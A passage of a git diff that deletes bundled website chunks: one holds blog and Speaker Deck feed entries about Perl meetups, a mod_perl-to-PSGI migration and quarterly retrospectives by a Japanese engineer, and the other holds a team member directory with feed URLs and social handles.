Masashi","authorId":"masasuzu"},{"title":"2015-09-17_gotanda.pm6","link":"https://speakerdeck.com/masasuzu/2015-09-17-gotanda-dot-pm6","contentSnippet":"Gotanda.pm#6 LT\\r監視の7原則という半分ネタなトーク","isoDate":"2015-09-17T04:00:00.000Z","dateMiliSeconds":1442462400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#yapcasia YAPC::Asia 2015でボランティアスタッフしてきた","link":"https://blog.masasuzu.net/entry/2015/08/23/YAPC_Asia","contentSnippet":"今年のYAPC::Asiaは終わった。つつがなく終わりました。過去のエントリを見直すと2011、2012年は書くのサボっていたみたいでした。私のYAPC::Asia初参加は2010年で6回目の参加でした。#yapcasia YAPC::Asia 2014でボランティアスタッフやってきました - 目の前に僕らの道があるmasasuzu.hatenablog.jp#yapcasia YAPC::Asia Tokyo 2013に参加してきました。 - 目の前に僕らの道があるmasasuzu.hatenablog.jpYAPC::Asia 2010へ行ってきたよ。 - 目の前に僕らの道があるmasasuzu.hatenablog.jp今年のYAPCとの関わり方は個人スポンサー+ボランティアスタッフとして参加しました。個人スポンサーとしては4年目、ボランティアスタッフとしては3年目でした。今年のYAPCもすごい楽しかったです。特にここ1,2年でPerl関係の人たちの知り合いがすごい増えたので、いろんな人と話ができてすごい楽しかったです。トークの方は例年スタッフ業をやっていると聞けないので、(会場にいてもスタッフのお仕事に意識が行くので内容を聞き取れてないことが多い)、動画が上がったら気になっていたトークを追いたいと思います。さて、だいたい6年前からWebで、Perlでお仕事するようになってからYAPCにはいろいろなものをもらってきました。だからこそ、ボランティアスタッフをやったり、個人スポンサーになって自分がもらったものを間接的に他の人に与えられたらいいなと思ってやってきました。自分がもらったものを他の人も受け取ってもらえたらなら良いなと思います。YAPC::Asiaはいったん終わります。それ自体いろいろ思うところがありますし、残念ではあります。YAPC::Asiaが無くなっても地域PMなどのPerlのコミュニティ自体が無くなるわけではないので私も細々とコミュニティ活動していきます。ただ、全国的にPerlな人が集まってくるイベントが今のところ来年無いのは寂しいところです。もしどこかで動きがあるならお手伝いさせていただければなと思います。YAPC::Asiaお疲れ様でした。(初日の懇親会の後の二次会でいろんな人に迷惑かけてしまったようなのでものすごく反省しています。すみません。お酒気を付けます。。。会期中のつぶやきいくつかおしゃれなカップだ #yapcasia pic.twitter.com/NwWw30i3HW— masasuzu? (@masasuz) August 22, 2015#yapcasia Perl6! pic.twitter.com/2tJh6irctZ— masasuzu? (@masasuz) August 22, 2015#yapcasia 壇上から。お疲れさまでした!! pic.twitter.com/1MiU56gE4R— masasuzu? (@masasuz) August 22, 2015","isoDate":"2015-08-23T10:17:16.000Z","dateMiliSeconds":1440325036000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#kichijojipm 吉祥寺.pmでLTしてきた","link":"https://blog.masasuzu.net/entry/2015/07/12/122011","contentSnippet":"吉祥寺.pm (kichijojipm) #4 : ATNDatnd.org今回はPerlとPerl以外ということで、Perlの外の世界をつないでるもので一番最初に思いついたのがテンプレートエンジンだったので今回の発表になりました。自分のテンプレートの利用シーンは設定ファイルの自動生成ですね。テンプレートがあることで手作業で設定ファイルをいじる必要が基本的にはないので、手作業に起因ミスがないのが良いですよね。そのほかくりかえしの記述が必要なものもテンプレート使うと便利な場面が多いと思います。前回のLTが長すぎたので、真姫進行で行ったら、巻きすぎてしまいました。時間配分難しい。#kichijojipm 真姫すぎた。。— masasuzu? (@masasuz) July 10, 2015#kichijojipm 巻きすぎた。。— masasuzu? (@masasuz) July 10, 2015懇親会のお店はおしゃれな感じでさすが吉祥寺という感じでした。五反田とは違う。#kichijojipm 炙りマカレル pic.twitter.com/wpJTTnIvZF— masasuzu? (@masasuz) July 10, 2015他の人のスライドはこちらページからたどれると思います。吉祥寺.pm4終わりました - kichijojipm’s blogkichijojipm.hatenablog.com今回の吉祥寺.pmも楽しかったです。次回も参加したいです。余談1今回のKeynoteはAzusa Colorsを元にスライドを作りました。だいぶ良い感じにできました。ありがたいです。茜屋さんのイメージカラーのパープルを基調にしています。http://memo.sanographix.net/post/113681262780memo.sanographix.net余談2LTの途中で宣伝してましたが、五反田のモバイルファクトリーさんで7/31にCrystalの勉強会やるしいですよ。東京 Crystal 勉強会 #1 in 五反田 (2015/07/31 19:30〜)crystal.connpass.comGotandaは今技術的に熱い街です。そのほかGotanda.pmや五反田Perlみたいな勉強会も様々行われてます。","isoDate":"2015-07-12T03:20:11.000Z","dateMiliSeconds":1436671211000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015-07-10-kichijoji.pm4_yurui_template","link":"https://speakerdeck.com/masasuzu/2015-07-10-kichijoji-dot-pm4-yurui-template","contentSnippet":"テンプレートとPerlに関するゆるい話\\r\\r吉祥寺.pm #4","isoDate":"2015-07-10T04:00:00.000Z","dateMiliSeconds":1436500800000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015年第二 四半期をふりかえる","link":"https://blog.masasuzu.net/entry/2015/07/03/2015_2_retrospective","contentSnippet":"7月にとうとうなりました。ざっくりふり返ります。お仕事mod_perl to PSGI/Plackこの四半期のメインタスクでした。弊社2事業部あるんですが、そのうちの片方の事業部のmod_perlアプリをPSGI/Plack化しました。後は事業部の人がちゃんとテストして、本番反映するだけです。もう一個の事業部のmod_perlアプリケーションは次の四半期に取りかかる予定です。雑感としては、mod_perl特有の機能はほぼ使ってないので、そんなに辛くは無かったです。どちらかというと、使っているモジュールが古すぎたり、SledgeのPlugin地獄だったりしてアプリの実装の方でちょこちょこはまることが多かったです。このあたりの話です。#gotandapm Gotanda.pm Perl Technology Conference #4 話してきた話 - 目の前に僕らの道があるmasasuzu.hatenablog.jpGitbucket地味にアップデートが出る度に追従してました。しかしながら、そこそこでかいレポジトリをGitbucketで管理するのはだいぶつらいことが見えてきました。まず、レポジトリブラウザが鬼のように重い。1日数10コミットするようなレポジトリだとまともに使えないので、ちょっと移行先を考えてます。Elasticsearch + Kibana4Kibana4入れました。Kibana3もまだ稼働中ですが、Kibana4で十分かなという気分です。Kibana4はすごい便利なので、そのあたりの話もどこかで一度したいです。開発環境の改善OrePAN2::Serverを廃止して、社内モジュールは静的サーバ置いたり、一つサーバでマルチユーザが同居するようなレガシーな開発環境の改善とかもろもろやってました。この辺もあとでエントリ書きたいところ。新卒技術者のメンタリング新卒技術者に対して仕事外で困ってる事とかのお悩みの相談乗ったり、成長を促すお手伝いをしたいたりします。会社としてもメンター制度できたばっかりで、組織的にも自分的にもいろいろ手探り感があるのは確かです。自分が見ている人はかなり優秀で日々成長が見て取れるので、そこをさらに促せるようにしていけたらと思います。書いた記事こう見るとあまりエントリ残してないですね。もう少し書きたいところ。4月勉強会#kichijojipm 吉祥寺.pm #3 に参加してきました。 - 目の前に僕らの道がある技術ubuntu12.04でruby2.2.1のビルド失敗するのはlibffi-devが入ってないから - ふり返る暇なんて無いね$PATHを見やすく表示したい - ふり返る暇なんて無いね5月技術ポートが空いてるか調べたいとき - ふり返る暇なんて無いねサーバ起動時に/etc/init.d/ に設定があるデーモンを自動起動したい - ふり返る暇なんて無いねElasticsearchを1.4以上に上げたらkibana3がElasticsearchにConnection Failedする際の対処 - ふり返る暇なんて無いねポエム縮退運用という考え方 - ふり返る暇なんて無いねあなたは嫌いですか。でも僕は好きです。 - ふり返る暇なんて無いね6月勉強会#gotandapm Gotanda.pm Perl Technology Conference #5 でLTの高速化に失敗しました - 目の前に僕らの道がある技術MySQLのLINEAR KEY パーティションでPKで検索しても遅い場合 - ふり返る暇なんて無いねPerlモジュールのバージョン比較したい - ふり返る暇なんて無いねポエム普段の行動がものをいう - ふり返る暇なんて無いね判断と判断の変更 - ふり返る暇なんて無いね感覚値はあくまで感覚値 - ふり返る暇なんて無いね次の四半期お仕事的にはもう一個の事業部のPSGI/Plack化と開発環境の改善をメインにやってくと思います。ここ最近ちょっといろいろ腹に貯めすぎなので、もう少し心にゆとりをもっていけたらなとは思いまする。","isoDate":"2015-07-03T00:00:00.000Z","dateMiliSeconds":1435881600000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"他社の障害対応きにならNight! に行ってきた","link":"https://blog.masasuzu.net/entry/2015/07/02/134402","contentSnippet":"エンジニア交流会〜他社の障害対応きにならNight!〜 on Zusaarwww.zusaar.com一昨日の話ですが、Gaiaxさんに行ってきました。内容に関してはけっこうグレーな感じなこともあるので、話せないのですが、あー、あるよねー。とか だいぶつらい。。。って話を聞けて楽しかったです。他山の石にしたいです。インシデント管理に関してはちょっと痛いところがあるので見直したいなと思いました。懇親会で深い話が聞けていろいろ学びがありました。すごい楽しかったので次回もあれば参加したいです。寿司 pic.twitter.com/RnLrH5mxlp— masasuzu? (@masasuz) June 30, 2015内容言えないけどすごい為になってる— masasuzu? (@masasuz) June 30, 2015だいぶつらい話聞いてるもの— masasuzu? (@masasuz) June 30, 2015炎上案件だ。。。— masasuzu? (@masasuz) June 30, 2015インシデント管理に関してはちょっと痛いところあるなと思った。— masasuzu? (@masasuz) June 30, 2015なかなかこういう他社の障害事例聞けないので、今日は楽しかった。— masasuzu? (@masasuz) June 30, 2015innodbのデータ圧縮すると並列性が犠牲になるってのは、初耳だったのでちゃんと調べたい。— masasuzu? (@masasuz) June 30, 2015","isoDate":"2015-07-02T04:44:02.000Z","dateMiliSeconds":1435812242000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#gotandapm Gotanda.pm Perl Technology Conference #5 でLTの高速化に失敗しました","link":"https://blog.masasuzu.net/entry/2015/06/25/184549","contentSnippet":"Gotanda.pm Perl Technology Conference #5 (2015/06/24 19:30〜)gotanda-pm.connpass.comGtanda.pmでLTしてきました。#gotandapm LTの高速化に失敗しました。— masasuzu? (@masasuz) June 24, 2015内容としてはPlack Applicationのアクセスログの話です。アクセスログそのものの話アクセスログの収集の話アクセスログの可視化/集計の話1個目の論点しか話せませんでした。猛省します。次回は事故らずに話したいです。最近Kibana4とElasticsearchを使っていてだいぶアクセスログに限らず ログ解析が捗っているので、その辺も別の機会に話せたらと思います。他の人の発表では、skajiさんの Acme::CPAN::Installerの発表がすごかったです。cpanモジュールをインストール出来るとこんなに速くなるのかと感心しました。業務で使いたいと思うくらいには速かったです。そのほかの人の発表も楽しく聞かせてもらいました。gotandapm参加者の皆さん!吉祥寺.pm4は、まだまだ参加者募集中です!https://t.co/JwGFxDOnXi#kichijojipm #gotandapm— magnoliak (@magnolia_k_) June 24, 2015どうやら吉祥寺.pm 来月開催らしいですよ。","isoDate":"2015-06-25T09:45:49.000Z","dateMiliSeconds":1435225549000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015-06-25_gotanda.pm5","link":"https://speakerdeck.com/masasuzu/2015-06-25-gotanda-dot-pm5","contentSnippet":"Plackのアクセスログの話","isoDate":"2015-06-24T04:00:00.000Z","dateMiliSeconds":1435118400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#kichijojipm 吉祥寺.pm #3 に参加してきました。","link":"https://blog.masasuzu.net/entry/2015/04/19/kichijoji.pm-3","contentSnippet":"吉祥寺.pm行ってきました。吉祥寺.pm (kichijojipm) #3 : ATNDatnd.org今回はツールチェインがテーマと言うことで、Minillaの話題が2件ほどあって、参考になりました。今回特によかったなと思ったのがpapixさんの新人研修の話でした。ガイアックスさんはここ二年くらいで新人研修を整備し始めたそうで、だいぶ充実した内容をやっていそうなので、こっそり参加したいです。#kichijojipm ガイアックスに新人研修受けに行きたい— masasuzu? (@masasuz) April 17, 2015話の中で研修資料をスライドじゃ無くてドキュメントとして残すってのが、印象に残ってます。OJTが基本なのですが、開発グループのエンジニアの有志が社内勉強会枠の時間*1で新人さんに最低限知っておいて欲しい技術基礎の勉強会を行っています。wikiに残しておいて、次年度使い回せるように + 中途の人が入ってきたときも一通り見れば分かるようにしてます。その辺、アプローチが似ているなと思います。さておき、今回も楽しかったです、上級者向けの話からperl少し書ける人でも役に立つ話まで聞けてレベル感的にも良い感じです。主催のmagnoliakさん、htk291さんありがとうございました。次回の吉祥寺.pm楽しみにしてます。吉祥寺.pm in 五反田楽しみにしてます!!!五反田で吉祥寺.pmとか。— 吉祥寺.pm (@kichijojipm) April 17, 2015参照吉祥寺.pm3終わりました - kichijojipm’s blogkichijojipm.hatenablog.com余談SSID: TMNetwork がいてふいた— masasuzu? (@masasuz) April 17, 2015*1:弊社、毎日終業定時前の1時間は勉強会の時間と会議室が確保されていて、好きにやって良いことになってる。もちろん毎日は開かれない","isoDate":"2015-04-19T06:59:42.000Z","dateMiliSeconds":1429426782000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015年第一四半期をふりかえる","link":"https://blog.masasuzu.net/entry/2015/03/30/2015_1_retrospective","contentSnippet":"そろそろ3月も終わりそうなので、軽くまとめてみる。お仕事Slack連携ツール昨年末から1月にかけては、社内のチャットツールをIRCからSlackに移すためにもろもろの連携ツールを書いていました。WevService::Slack::IncomingWebHookはそういう事情で書いたコードです。WebService::Slack::IncomingWebHookというモジュールを書いてCPAN Authorとやらになったようです - 目の前には僕らの道があるmasasuzu.hatenablog.jp連携ツール自体は、Irisというプロジェクトコードで、HTTPでSlackへIncoming webhookを投げたり、SlackからOutgoing webhookを受けたりするProxy的なものです。コードは公開してないです。mod_perl to PSGI/Plack2月3月はmod_perlなプロジェクトをPSGI/Plack+Carton化をひたすらしていた感じです。このタスク自体は半期で終わらす予定なので、次の四半期も継続案件です。前回のGotanda.pmで話した件ですね。#gotandapm Gotanda.pm Perl Technology Conference #4 話してきた話 - 目の前には僕らの道があるmasasuzu.hatenablog.jp書いた記事1月H2データベースの話はGitbucketのDBの調子が悪くていったんデータをダンプしてDBファイルを作り直さなきゃいけなかった時の話のハズ。2014年に使った技術 - 目の前には僕らの道があるsudo -Hと環境変数($PATH)ではまった話 - ふり返る暇なんて無いねH2データベースのダンプ、リストアをする - ふり返る暇なんて無いね#chibapm Chiba.pm #6 に参加してきた - 目の前には僕らの道がある2月tmuxでwindow番号を変更したい - ふり返る暇なんて無いねperl5.16から overloadが\\"overload arg \'\\"\' is invalid \\"みたいなwarningを吐き出した - ふり返る暇なんて無いね情報共有に関してもやもや思ってること - ふり返る暇なんて無いね3月3月はちょっと古めのコードをいろいろいじっててはまっていたらしいですね。Perl 5.18からsmart matchはexperimentalなので使わないで - ふり返る暇なんて無いねとあるプロジェクトのコードのあんちぱたーん - ふり返る暇なんて無いねDebian Packageのバージョンを比較したい。 - ふり返る暇なんて無いね開発二部でLTしてきた #でぶつー - 目の前には僕らの道があるFurl::S3でSSL接続エラーが出る件 - ふり返る暇なんて無いね#gotandapm Gotanda.pm Perl Technology Conference #4 話してきた話 - 目の前には僕らの道がある設定と処理をわけるということ - ふり返る暇なんて無いねUbuntu 12.04で/tmpがおかしくてうまく起動しなかった件 - ふり返る暇なんて無いね次の四半期お仕事的には引き続きmod_perlを無くしていく作業を続けていると思います。お仕事外で現状これといってやりたいことはないんですが、最近仕事外のコードをあまり書いてないので、その辺少し改善できたらなとは思いまする。","isoDate":"2015-03-30T01:00:00.000Z","dateMiliSeconds":1427677200000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#gotandapm Gotanda.pm Perl Technology Conference #4 話してきた話","link":"https://blog.masasuzu.net/entry/2015/03/26/gotanda.pm_4","contentSnippet":"Gotanda.pm Perl Technology Conference #4 (2015/03/25 19:30〜)gotanda-pm.connpass.comだいぶ昔のmod_perlで動いているプロジェクトをPSGI/Plack化するために現在進行形で作業してるよという話です。直前に書き上げてリハーサル全くしないまま本番で話したので、全然時間が足りなかったです。#gotandapm つらいしか言わずに終わってしまった— masasuzu? (@masasuz) March 25, 2015さて、古いmod_perlなプロジェクトも新しめのプロジェクトと同じスキームに載せて動くように現在進行形で動いているところです。それはそれとして大人のGotanda.pmも面白そうですね。とはいえ、ソンナニ闇ハカカエテナイデスヨ。全然。大人のGotanda.pmとかやって, GXやMFのインフラ部署の人に闇語ってもらいたい #gotandapm— パブリシティ権放棄型 (@__papix__) March 25, 2015ちなみに、新しめのプロジェクトで使っているスキームはそういえば、Gotanda.pm #1で話したくらいに作っていたようです。#gotandapm Gotanda.pm Perl Technology Conference #1に参加した LTした - 目の前には僕らの道があるmasasuzu.hatenablog.jp会場をお貸しいただいたGaiaxさんありがとうございました。運営のみなさんもお疲れ様でした。ありがとうございました。Gotanda.pmお疲れ様でした. 会場やUstreamは如何でしたでしょうか. 今回のように, 弊社セミナールームは勉強会会場として貸し出す事も出来ますので, 使ってみたいという方は @__papix__ までご連絡下さい. #gotandapm— パブリシティ権放棄型 (@__papix__) March 25, 2015蛇足ですが、Gaiaxさんのすぐ近くの麺彩房の油そば好きです。五反田ぴーえむ pic.twitter.com/6UBO7Y6fDi— masasuzu? (@masasuz) March 25, 2015","isoDate":"2015-03-26T13:38:13.000Z","dateMiliSeconds":1427377093000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015-03-25_gotanda.pm4 ","link":"https://speakerdeck.com/masasuzu/2015-03-25-gotanda-dot-pm4","contentSnippet":"mod_perlなプロジェクトをPSGI/Plack対応しようとしてる話。","isoDate":"2015-03-25T04:00:00.000Z","dateMiliSeconds":1427256000000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"開発二部でLTしてきた #でぶつー","link":"https://blog.masasuzu.net/entry/2015/03/17/220240","contentSnippet":"開発二部という社内の部活でLTをしてきました。最近古めのプロジェクトを多少モダンにするタスクをしてるので、そのあたりで得た知見を書いてます。特に何かを批判したいわけではなく、こういうのはよくないから、新しいプロジェクトではこういうことは避けると幸せになりやすいよと言いたいだけです。よくないコードは直すだけです。ただdisって何もしないのはよくないですし、そういうことをしたいわけではないです。","isoDate":"2015-03-17T13:02:40.000Z","dateMiliSeconds":1426597360000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015-03-17_dev2_LT","link":"https://speakerdeck.com/masasuzu/2015-03-17-dev2-lt","contentSnippet":"#でぶつー でのLT\\r\\r最近関わったプロジェクトで得た、これはなるべくやって欲しくないことをざっくり挙げていきました。\\r将来のプロジェクトで同じ轍を踏まないように書き残しておきます。","isoDate":"2015-03-17T04:00:00.000Z","dateMiliSeconds":1426564800000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015-01-24_chiba.pm6","link":"https://speakerdeck.com/masasuzu/2015-01-24-chiba-dot-pm6","contentSnippet":"","isoDate":"2015-01-24T05:00:00.000Z","dateMiliSeconds":1422075600000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2014-11-28_Elasticsearch","link":"https://speakerdeck.com/masasuzu/2014-11-28-elasticsearch","contentSnippet":"社内でElasticsearchを導入した時の説明資料","isoDate":"2014-11-28T05:00:00.000Z","dateMiliSeconds":1417150800000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2014-10-11_chiba.pm5","link":"https://speakerdeck.com/masasuzu/2014-10-11-chiba-dot-pm5","contentSnippet":"アプリケーションのログ収集/監視ほかの会社はどうしてるのかしら?というお話","isoDate":"2014-10-27T04:00:00.000Z","dateMiliSeconds":1414382400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2014-09-18_gotanda.pm2","link":"https://speakerdeck.com/masasuzu/2014-09-18-gotanda-dot-pm2","contentSnippet":"連続ログインを支える技術。\\rsshログインでも連続ログインチェックしたい!!!的な話","isoDate":"2014-09-17T04:00:00.000Z","dateMiliSeconds":1410926400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2014-06-11_gotanda.pm","link":"https://speakerdeck.com/masasuzu/2014-06-11-gotanda-dot-pm","contentSnippet":"とある企業のPerlモジュール管理の歴史","isoDate":"2014-06-11T04:00:00.000Z","dateMiliSeconds":1402459200000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"}]')}}]); \ No newline at end of file diff --git a/_next/static/chunks/983-242306168399638f.js b/_next/static/chunks/983-242306168399638f.js deleted file mode 100644 index 7365516284..0000000000 --- a/_next/static/chunks/983-242306168399638f.js +++ /dev/null @@ -1 +0,0 @@ -"use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[983],{1807:function(e,t,o){o.d(t,{T:function(){return a}});let a=[{id:"yteraoka",name:"yteraoka",role:"SRE",bio:"ojisan",avatarSrc:"/avatars/yteraoka.jpeg",sources:["https://blog.1q77.com/index.xml","https://qiita.com/yteraoka/feed","https://medium.com/feed/@yteraoka","https://zenn.dev/yteraoka/feed"],includeUrlRegex:"",twitterUsername:"yteraoka",githubUsername:"yteraoka",websiteUrl:"https://blog.1q77.com/"},{id:"tozastation",name:"tozastation",role:"SRE",bio:"tarako_chan",avatarSrc:"/avatars/tozastation.jpg",sources:["https://qiita.com/tozastation/feed","https://tozastation.hashnode.dev/rss.xml","https://zenn.dev/tozastation/feed"],includeUrlRegex:"",twitterUsername:"tozastation",githubUsername:"tozastation",websiteUrl:"https://github.com/tozastation"},{id:"kyohmizu",name:"kyohmizu",role:"SRE",bio:"mizumoto",avatarSrc:"/avatars/kyohmizu.png",sources:["https://kyohmizu.hatenablog.com/feed","https://qiita.com/kyohmizu/feed"],includeUrlRegex:"",twitterUsername:"kyohmizu",githubUsername:"kyohmizu",websiteUrl:"https://profile.kyohmizu.com/"},{id:"nwiizo",name:"nwiizo",role:"Software Developer",bio:"The Passionate Programmer",avatarSrc:"/avatars/nwiizo.jpeg",sources:["https://syu-m-5151.hatenablog.com/feed","https://zenn.dev/nwiizo/feed","https://speakerdeck.com/nwiizo.rss"],includeUrlRegex:"",twitterUsername:"nwiizo",githubUsername:"nwiizo",websiteUrl:"https://nwiizo.github.io/"},{id:"skikkh",name:"skikkh",role:"SRE",bio:"skikkh",avatarSrc:"/avatars/skikkh.jpeg",sources:["https://qiita.com/skikkh/feed"],includeUrlRegex:"",twitterUsername:"skikkh",githubUsername:"skikkh",websiteUrl:""},{id:"toshikish",name:"toshikish",role:"SRE",bio:"Toshiki Shimomura",avatarSrc:"/avatars/toshikish.png",sources:["https://toshikish.hateblo.jp/feed","https://zenn.dev/toshikish/feed","https://qiita.com/toshikish/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"toshikish",websiteUrl:""},{id:"Sreake",name:"Sreake",role:"",bio:"This Is The Sreake Section Blog.",avatarSrc:"/avatars/sreake.png",sources:["https://sreake.com/feed/"],includeUrlRegex:"blog",excludeUrlRegex:"event",twitterUsername:"SreakeJ",githubUsername:"",websiteUrl:"https://sreake.com"},{id:"Reckoner",name:"Reckoner",role:"",bio:"This Is The Reckoner Section Blog.",avatarSrc:"/avatars/reckoner.png",sources:[],includeUrlRegex:"blog",excludeUrlRegex:"event",twitterUsername:"reckoner_japan",githubUsername:"",websiteUrl:"https://reckoner.io/"},{id:"tez",name:"Takuya Tezuka",role:"JB",bio:"tez",avatarSrc:"/avatars/tezuka.jpeg",sources:["https://qiita.com/TT_Private/feed","https://speakerdeck.com/takuyatezuka.rss"],includeUrlRegex:"qiita.com/TT_Private",twitterUsername:"tt0603",githubUsername:"taku-tez",websiteUrl:"https://www.wantedly.com/id/takuya_tezuka"},{id:"sosan01",name:"Soichiro Tsuchida",role:"SRE",bio:"sosan",avatarSrc:"/avatars/sosan01.png",sources:[],includeUrlRegex:"",twitterUsername:"",githubUsername:"sosan01",websiteUrl:""},{id:"atsuya0",name:"Atsuya Tsukada",role:"SRE",bio:"human",avatarSrc:"/avatars/atsuya0.jpg",sources:["https://zenn.dev/tayusa/feed","https://qiita.com/atsuya0/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"atsuya0",websiteUrl:"https://github.com/atsuya0"},{id:"masasuzu",name:"SUZUKI, Masashi",role:"SRE",bio:"yasetai",avatarSrc:"/avatars/masasuzu.png",sources:["https://blog.masasuzu.net/feed","https://speakerdeck.com/masasuzu.rss"],includeUrlRegex:"",twitterUsername:"masasuz",githubUsername:"masasuzu",websiteUrl:"https://masasuzu.net"},{id:"kiyos",name:"Kyohei Saito",role:"SRE",bio:"haraheri",avatarSrc:"/avatars/kiyos.jpeg",sources:["https://zenn.dev/kyohei_saito/feed"],includeUrlRegex:"",twitterUsername:"kiyo_12_07",githubUsername:"kiyo-s",websiteUrl:""},{id:"mos914",name:"Yu Kaneko",role:"SRE",bio:"koke",avatarSrc:"/avatars/mos914.png",sources:["https://qiita.com/dirtymosschan/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"mos914",websiteUrl:""},{id:"unvavo",name:"nobu",role:"SRE",bio:"nobu",avatarSrc:"/avatars/nobu.png",sources:[],includeUrlRegex:"",twitterUsername:"unvavo",githubUsername:"unvavo",websiteUrl:""},{id:"hiroki-hasegawa",name:"長谷川 広樹",role:"なんらかのエンジニア",bio:"顔画像は著作権フリーですのでどうぞ",avatarSrc:"/avatars/hirokihasegawa.png",sources:["https://hiroki-hasegawa.hatenablog.jp/feed","https://speakerdeck.com/hiroki_hasegawa.rss"],includeUrlRegex:"",twitterUsername:"Hiroki__IT",githubUsername:"hiroki-it",websiteUrl:"https://hiroki-it.github.io/tech-notebook/"},{id:"kaisato",name:"Kai Sato",role:"SRE",bio:"domo",avatarSrc:"/avatars/kaisato.png",sources:[],includeUrlRegex:"",twitterUsername:"KAI21441756",githubUsername:"kaitexio",websiteUrl:""},{id:"ysakurai",name:"Yusuke Sakurai",role:"SRE",bio:"ysakurai",avatarSrc:"/avatars/ysakurai.jpg",sources:["https://qiita.com/ys1/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"saku3",websiteUrl:""},{id:"tayakun",name:"Soichiro Taya",role:"SRE",bio:"tayakun",avatarSrc:"/avatars/tayakun.png",sources:["https://qiita.com/tayakun/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"tayatamn",websiteUrl:""},{id:"SatohJohn",name:"SatohJohn",role:"Software Developer",bio:"SatohJohn",avatarSrc:"/avatars/satohjohn.png",sources:["https://qiita.com/satohjohn/feed","https://zenn.dev/satohjohn/feed"],includeUrlRegex:"",twitterUsername:"satohjohn",githubUsername:"satohjohn",websiteUrl:""},{id:"bayobayo0324",name:"bayobayo0324",role:"back/front/app Engineer",bio:"osake daisuki",avatarSrc:"/avatars/bayobayo0324.jpeg",sources:["https://qiita.com/bayobayo0324/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"bayobayo0324",websiteUrl:""},{id:"myamamoto",name:"myamamoto",role:"SRE",bio:"human",avatarSrc:"/avatars/myamamoto.jpeg",sources:["https://zenn.dev/ureuzy/feed"],includeUrlRegex:"",twitterUsername:"ureuzy",githubUsername:"ureuzy",websiteUrl:""},{id:"seno",name:"seno",role:"DBRE",bio:"seno",avatarSrc:"/avatars/seno.jpeg",sources:["https://zenn.dev/nedoko_dok0dko/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"senohirona",websiteUrl:""},{id:"sakama",name:"sakama",role:"SRE",bio:"homo sapiens",avatarSrc:"/avatars/sakama.jpeg",sources:[],includeUrlRegex:"",twitterUsername:"",githubUsername:"junichiro-sakama",websiteUrl:""},{id:"stakamura",name:"Shohei Takamura",role:"SRE",bio:"SRE",avatarSrc:"/avatars/stakamura.jpg",sources:["https://zenn.dev/hakushou41/feed"],includeUrlRegex:"",twitterUsername:"hakushou41",githubUsername:"hakushou41",websiteUrl:""},{id:"toVersus",name:"Tsubasa Nagasawa",role:"SRE",bio:"lazy programmer",avatarSrc:"/avatars/toVersus.png",sources:["https://qiita.com/toVersus/feed","https://zenn.dev/toversus/feed"],includeUrlRegex:"",twitterUsername:"toversus26",githubUsername:"toVersus",websiteUrl:""},{id:"raba-jp",name:"Hiroki Sakuraba",role:"Software Developer",bio:"meow",avatarSrc:"/avatars/raba-jp.jpg",sources:["https://zenn.dev/raba_jp/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"raba-jp",websiteUrl:""},{id:"ixsakra",name:"Ryosuke Sakurai",role:"SRE",bio:"ganbarumasu 'w'",avatarSrc:"/avatars/ixsakra.jpg",sources:[],includeUrlRegex:"",twitterUsername:"",githubUsername:"",websiteUrl:""},{id:"nnaka2992",name:"NAKADATE Naoki",role:"DBRE",bio:"what on the earth is Database?",avatarSrc:"/avatars/nnaka2992.jpg",sources:["https://nnaka2992.hatenablog.com/feed","https://zenn.dev/nnaka2992/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"",websiteUrl:"https://nnaka2992.hatenablog.com/"},{id:"satoken",name:"satoken",role:"SRE",bio:"",avatarSrc:"/avatars/satoken.jpg",sources:[],includeUrlRegex:"",twitterUsername:"",githubUsername:"",websiteUrl:""},{id:"bells17",name:"bells17",role:"Software Engineer",bio:"Software Engineer",avatarSrc:"/avatars/bells17.jpeg",sources:["https://zenn.dev/bells17/feed","https://medium.com/feed/@bells17","https://speakerdeck.com/bells17.rss"],includeUrlRegex:"",twitterUsername:"bells17_",githubUsername:"bells17",websiteUrl:"https://bells17.io/"},{id:"hide-1",name:"Shuichi Inoue",role:"long-term internship student",bio:"I want to become a strong engineer :)",avatarSrc:"/avatars/hide-1.jpg",sources:["https://sreake.com/blog/config-connectortest/feed","https://sreake.com/blog/kubernetes-operation-with-chatgpt/feed","https://sreake.com/blog/kubernetes-operation-with-chatgpt4/feed","https://sreake.com/blog/chatgpt-slack-integration/feed"],includeUrlRegex:"",twitterUsername:"19MU50",githubUsername:"hide-1",websiteUrl:""},{id:"yuu0w0yuu",name:"Yutaro Shirayama",role:"SRE",bio:"( ˘ω˘ )",avatarSrc:"/avatars/shirayama.jpg",sources:["https://zenn.dev/yuu0w0yuu/feed"],includeUrlRegex:"",twitterUsername:"yuu0w0yuu",githubUsername:"yuu0w0yuu",websiteUrl:""},{id:"gawingowin",name:"Araki 